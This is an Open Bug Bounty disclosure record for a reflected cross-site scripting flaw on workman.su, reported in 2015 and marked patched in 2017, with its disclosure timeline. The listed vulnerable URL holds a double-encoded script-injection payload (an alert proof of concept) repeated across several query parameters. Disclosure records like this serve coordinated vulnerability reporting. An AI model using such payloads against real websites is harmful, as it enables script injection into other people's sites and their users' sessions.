workman.su XSS vulnerability

2015-07-21T23:46:00
ID OBB:74847
Type openbugbounty
Reporter wwwebaudit
Modified 2017-07-25T13:06:00

Description

Vulnerable URL:
http://workman.su/?qact=status404&r;=%2F%3Fa%3D0%26qact%3D%253Cscript%253Ealert%2528%252FXSSPOSED%252F%2529%253B%253C%252Fscript%253E%26SortBy%3D%253Cscript%253Ealert%2528%252FXSSPOSED%252F%2529%253B%253C%252Fscript%253E%26Dir%3D%253Cscript%253Ealert%2528%252FXSSPOSED%252F%2529%253B%253C%252Fscript%253E%26City%3D%253Cscript%253Ealert%2528%252FXSSPOSED%252F%2529%253B%253C%252Fscript%253E%26Folder%3D%253Cscript%253Ealert%2528%252FXSSPOSED%252F%2529%253B%253C%252Fscript%253E%26Type%3D%253Cscript%253Ealert%2528%252FXSSPOSED%252F%2529%253B%253C%252Fscript%253E%26Price_Start%3D%253Cscript%253Ealert%2528%252FXSSPOSED%252F%2529%253B%253C%252Fscript%253E%26Price_End%3D%253Cscript%253Ealert%2528%252FXSSPOSED%252F%2529%253B%253
Details:

Description| Value
---|---
Patched:| Yes, at 25.07.2017
Latest check for patch:| 25.07.2017 13:06 GMT
Vulnerability type:| XSS
Vulnerability status:| Publicly disclosed
Alexa Rank| Unknown / Not calculated
Google Pagerank| 0
VIP website status:| No
Check workman.su SSL connection:| (Grade: F)

Coordinated Disclosure Timeline:

Description| Value
---|---
Vulnerability reported| 21 July, 2015 23:46 GMT
Vulnerability existence verified and confirmed| 21 July, 2015 23:49 GMT
Vulnerability patched by the website owner| 25 July, 2017 13:06 GMT